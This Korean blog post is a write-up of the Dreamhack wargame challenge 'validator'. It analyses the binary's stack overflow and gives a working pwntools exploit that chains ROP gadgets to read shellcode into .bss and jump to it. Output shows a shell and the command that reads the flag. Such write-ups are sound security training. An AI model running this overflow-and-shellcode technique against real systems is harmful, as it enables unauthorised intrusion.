validator

2022. 8. 4. 14:12·Wargame/Dreamhack
728x90
반응형

 

드디어 마지막 문제!

 

오랜만에 코드 없는 문제를 본다.

문제 파일을 다운로드 및 압축을 해제하면 두개의 파일이 나온다.

사실 코드가 없기에 ida와 같이 디스어셈블러 프로그램 사용법을 먼저 익힌 후 푸는 것이 맞는 것 같다.

사실 디스어셈블러 프로그램은 코드를 해석하기 편하게 만들어놓은 것이라 어셈블리어를 알고 있다면 굳이 사용할 필요는 없다.

개인적으로 어셈블리어 실력이 그렇게 좋지 않기 때문에, 핸드레이까지는 어렵고, 어느정도 해석만 가능한 수준이라 시간이 너무 오래 걸려 ida를 쓰기로 했다.

 

우선 varidator_dist 파일의 보안 기법을 확인.

┌──(kali㉿kali)-[~/Downloads]
└─$ checksec validator_dist 
[*] '/home/kali/Downloads/validator_dist'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

특별히 걸려있는 것은 없다.

 

이제 ida로 열어봤다.

main 함수는 간단하게 read로 값을 받아들인 다음 validate 함수를 불러오는 역할만 한다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[128]; // [rsp+0h] [rbp-80h] BYREF

  memset(s, 0, 0x10uLL);
  read(0, s, 0x400uLL);
  validate(s, 128LL);
  return 0;
}

특이한점은, s라는 변수에 0x400 byte의 값을 받아들이지만, 사용하는 값은 128 byte이다.

validate 변수는 받아들인 값을 이리저리 체크한다.

__int64 __fastcall validate(__int64 a1, unsigned __int64 a2)
{
  unsigned int i; // [rsp+1Ch] [rbp-4h]
  int j; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; i <= 9; ++i )
  {
    if ( *(_BYTE *)((int)i + a1) != correct[i] )
      exit(0);
  }
  for ( j = 11; a2 > j; ++j )
  {
    if ( *(unsigned __int8 *)(j + a1) != *(char *)(j + 1LL + a1) + 1 )
      exit(0);
  }
  return 0LL;
}

우선 첫번째 for 문에서와 같이 10번의 비교 연산을하며, s 변수의 값을 처음부터 9까지 correct 변수와 같은지 확인하며, 다르면 exit로 종료해버린다.

collect 변수의 값을 확인해보면 

.data:0000000000601040 correct         db 'DREAMHACK!',0       ; DATA XREF: validate+36↑o

DREAMHACK! 이다.

두번째 for 문에서는 s 변수의 11번째 값부터 128번째 값까지 비교하며, 현재 값이 다음 값 + 1과 같은지 비교해서 다르면 exit로 종료해버린다.

이를 종합해보면

입력 받는 값의 크기는 0x400 byte이나 변수의 크기는 128 byte이기에 stack overflow가 발생하며,
128 byte의 1~10번째 값은 DREAMHACK! 이어야하고, 11번째 값은 아무 값이나 상관 없지만, 12번째부터 128번째 값은 현재 값이 다음 값보다 1 더 커야한다.

앞의 값보다 뒤의 값이 1 더 커야한다는 의미는 ascii code를 생각하면 된다.

 

조금 특이한점은 validator_server file인데 정말 특별한 내용이 없고, dist와 동일한 코드를 가지고 있다.

 

우선 dist에서 분석한 내용을 바탕으로 main의 return address까지 무사히 도착하는 공격 코드를 작성해보면 아래와 같다.

from pwn import *

p = process('./validator_dist')

pay = b'DREAMHACK!'

for i in range(130-len(pay),1,-1):
    pay += i.to_bytes(1,byteorder='little')

p.send(pay)

p.interactive()

128 byte의 s 변수를 모두 채워 sfp 직전까지 채웠기에 sfp, ret 변조만 남았다.

어디로  return하는 것이 좋을까.

 

현재 ASLR이 걸려있을 것으로 예상되기에 브루트포스가 가능 하지만 그 시간이 오래 걸릴 것으로 예상되기에 포기.

더불어 memory leak이 불가능하여 lib 파일 참조는 불가능하다.

 

그러므로 고정된 주소 영역을 사용해야하는데, 이를 찾아보자.

파일의 메모리 구조를 확인하는 방법은 아래와 같다.

┌──(kali㉿kali)-[~/Downloads]
└─$ objdump -h ./validator_dist

./validator_dist:     file format elf64-x86-64

Sections:
Idx Name          Size      VMA               LMA               File off  Algn
  0 .interp       0000001c  0000000000400238  0000000000400238  00000238  2**0
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  1 .note.ABI-tag 00000020  0000000000400254  0000000000400254  00000254  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  2 .note.gnu.build-id 00000024  0000000000400274  0000000000400274  00000274  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  3 .gnu.hash     0000001c  0000000000400298  0000000000400298  00000298  2**3
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  4 .dynsym       00000090  00000000004002b8  00000000004002b8  000002b8  2**3
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  5 .dynstr       00000049  0000000000400348  0000000000400348  00000348  2**0
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  6 .gnu.version  0000000c  0000000000400392  0000000000400392  00000392  2**1
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  7 .gnu.version_r 00000020  00000000004003a0  00000000004003a0  000003a0  2**3
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  8 .rela.dyn     00000030  00000000004003c0  00000000004003c0  000003c0  2**3
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  9 .rela.plt     00000048  00000000004003f0  00000000004003f0  000003f0  2**3
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 10 .init         00000017  0000000000400438  0000000000400438  00000438  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 11 .plt          00000040  0000000000400450  0000000000400450  00000450  2**4
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 12 .text         00000272  0000000000400490  0000000000400490  00000490  2**4
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 13 .fini         00000009  0000000000400704  0000000000400704  00000704  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 14 .rodata       00000004  0000000000400710  0000000000400710  00000710  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 15 .eh_frame_hdr 0000004c  0000000000400714  0000000000400714  00000714  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 16 .eh_frame     00000140  0000000000400760  0000000000400760  00000760  2**3
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 17 .init_array   00000008  0000000000600e10  0000000000600e10  00000e10  2**3
                  CONTENTS, ALLOC, LOAD, DATA
 18 .fini_array   00000008  0000000000600e18  0000000000600e18  00000e18  2**3
                  CONTENTS, ALLOC, LOAD, DATA
 19 .dynamic      000001d0  0000000000600e20  0000000000600e20  00000e20  2**3
                  CONTENTS, ALLOC, LOAD, DATA
 20 .got          00000010  0000000000600ff0  0000000000600ff0  00000ff0  2**3
                  CONTENTS, ALLOC, LOAD, DATA
 21 .got.plt      00000030  0000000000601000  0000000000601000  00001000  2**3
                  CONTENTS, ALLOC, LOAD, DATA
 22 .data         0000001b  0000000000601030  0000000000601030  00001030  2**3
                  CONTENTS, ALLOC, LOAD, DATA
 23 .bss          00000005  000000000060104b  000000000060104b  0000104b  2**0
                  ALLOC
 24 .comment      00000029  0000000000000000  0000000000000000  0000104b  2**0
                  CONTENTS, READONLY

여기서 gdb로 쓰기 가능한 영역을 찾아보면 아래와 같은데,

gef➤  vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
...
0x00000000601000 0x00000000602000 0x00000000001000 rw- /home/kali/Downloads/validator_dist
0x007ffff7dd6000 0x007ffff7dd8000 0x00000000000000 rw-
...
0x007ffff7fa9000 0x007ffff7fb4000 0x00000000000000 rw-
...
0x007ffff7ffd000 0x007ffff7fff000 0x00000000030000 rw- /usr/lib/x86_64-linux-gnu/ld-2.33.so
0x007ffffffde000 0x007ffffffff000 0x00000000000000 rwx [stack]

0x007fff~의 위치는 ASLR로 주소가 변경되는 위치이기에 쓸 수 없다고 생각하는 것이 좋다.

그러므로 bss 영역에 shellcode를 쓰고, 여기로 return 해보자.

 

해당 영역에 shellcode를 쓰기 위해서는 read 함수를 사용해야하고, 함수 사용을 위해서는 gadget들이 필요하다.

앞서 여러번 했던 것과 같이 read 함수는 3개의 인자를 가지기에 pop rdi, pop rsi, pop rdx의 gadget이 필요하다.

참고로 64bit에서 인자 참조 순서는 64bit system call table을 참조하자.

https://wyv3rn.tistory.com/88

 

system call table & calling conventions

ROP 시 참고할 자료로 system call number와 인자 참조 순서. Chromium OS Docs - Linux System Call Table (googlesource.com) Chromium OS Docs - Linux System Call Table Linux System Call Table These are t..

wyv3rn.tistory.com

 

gadget부터 확인.

┌──(kali㉿kali)-[~/Downloads]
└─$ ROPgadget --binary ./validator_dist | grep rdi
0x00000000004006f3 : pop rdi ; ret
0x000000000040028a : stosb byte ptr [rdi], al ; imul edi, ebx, 0x608bb8c8 ; retf 0x8f08

┌──(kali㉿kali)-[~/Downloads]
└─$ ROPgadget --binary ./validator_dist | grep rsi
0x00000000004006f1 : pop rsi ; pop r15 ; ret

┌──(kali㉿kali)-[~/Downloads]
└─$ ROPgadget --binary ./validator_dist | grep rdx
0x0000000000400576 : mov dword ptr [rbp + 0x48], edx ; mov ebp, esp ; pop rdx ; ret
0x0000000000400579 : mov ebp, esp ; pop rdx ; ret
0x0000000000400578 : mov rbp, rsp ; pop rdx ; ret
0x000000000040057b : pop rdx ; ret
0x0000000000400577 : push rbp ; mov rbp, rsp ; pop rdx ; ret
0x0000000000400445 : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret

앞선 다른 문제에서 rdx gadget은 찾기 힘들다고 이야기했는데, 사실 문제에서 pop rdx를 포함한 함수를 가지고 있다. (hint를 준 것과 마찬가지)

gef➤  info functions
...
0x0000000000400577  gadget
0x0000000000400580  validate
0x000000000040063a  main
...
gef➤  disas gadget
Dump of assembler code for function gadget:
   0x0000000000400577 <+0>:     push   %rbp
   0x0000000000400578 <+1>:     mov    %rsp,%rbp
   0x000000000040057b <+4>:     pop    %rdx
   0x000000000040057c <+5>:     ret
   0x000000000040057d <+6>:     nop
   0x000000000040057e <+7>:     pop    %rbp
   0x000000000040057f <+8>:     ret

 

더불어 read 함수가 끝난 다음에 다시 한번 bss 영역으로 return 되어야하는데, 이 또한 gadget 함수에 포함되어있으니 이를 사용하면 되겠다.

 

이제 이를 이용해서 bss 영역에 shellcode를 작성하고 여기로 return 하는 코드를 작성해보자.

from pwn import *


#p = process('./validator_dist')
p = remote('host3.dreamhack.games',21959)
e = ELF('./validator_dist')

pay = b'DREAMHACK!'

for i in range(130-len(pay),1,-1):
        pay += i.to_bytes(1,byteorder='little')

shellcode = asm(shellcraft.amd64.sh(),arch='amd64')

pay += b'\x90'*7 #for sfp

bss = 0x60104b
rdiret = 0x4006f3
rsir15ret = 0x4006f1
rdxret = 0x40057b
rbpret = 0x40057e

#insert shellcode to bss
#read(0,bss,0x500)
pay += p64(rdiret) + p64(0)
pay += p64(rsir15ret) + p64(bss) + p64(0)
pay += p64(rdxret) + p64(0x500)
pay += p64(e.plt['read'])

#return to bss
pay += p64(bss)

p.send(pay)

#send read() data
pay2 = b'\x90'*0x100 + shellcode

p.send(pay2)

p.interactive()

 

┌──(kali㉿kali)-[~/Downloads]
└─$ python a.py
[+] Opening connection to host3.dreamhack.games on port 21959: Done
[*] '/home/kali/Downloads/validator_dist'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
[*] Switching to interactive mode
$ id
uid=1000(validator) gid=1000(validator) groups=1000(validator)
$ cat flag
DH{----------#플래그는 삭제}

이제 advance로!

728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'Wargame > Dreamhack' 카테고리의 다른 글

seccomp  (0) 2022.08.07
Bypass SECCOMP-1  (0) 2022.08.05
cmd_center  (0) 2022.08.04
sint  (0) 2022.08.04
tcache_dup2  (0) 2022.08.03
'Wargame/Dreamhack' 카테고리의 다른 글
  • seccomp
  • Bypass SECCOMP-1
  • cmd_center
  • sint
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (502)
      • To do list (7)
        • Doing (1)
        • Complete (6)
      • Diary (35)
      • Tips & theory (73)
      • Kernel Exploit (27)
        • Theory (15)
        • Exercise (5)
      • File Structure (6)
      • Wargame (313)
        • pwn.college (34)
        • Dreamhack (148)
        • pwnable.kr (15)
        • Lord of Sqlinjection (3)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (41)
        • Solved (39)
        • Unsolved (2)
      • Script (0)
      • RubiyaLap (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    _IO_FILE
    BOF
    dreamhack
    vtable
    rop
    Format String Bug
    ROOT ME
    FSB
    root
    Buffer Overflow
    Me
    pwnable.kr
    la ctf
    libc
    docker
    pwntools
    lob
    root-me
    hackerschool
    CANARY
    exploit education
    x86
    cryptohack
    RTL
    phoenix
    tcache
    32bit
    64bit
    x64
    heap
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
validator
상단으로

티스토리툴바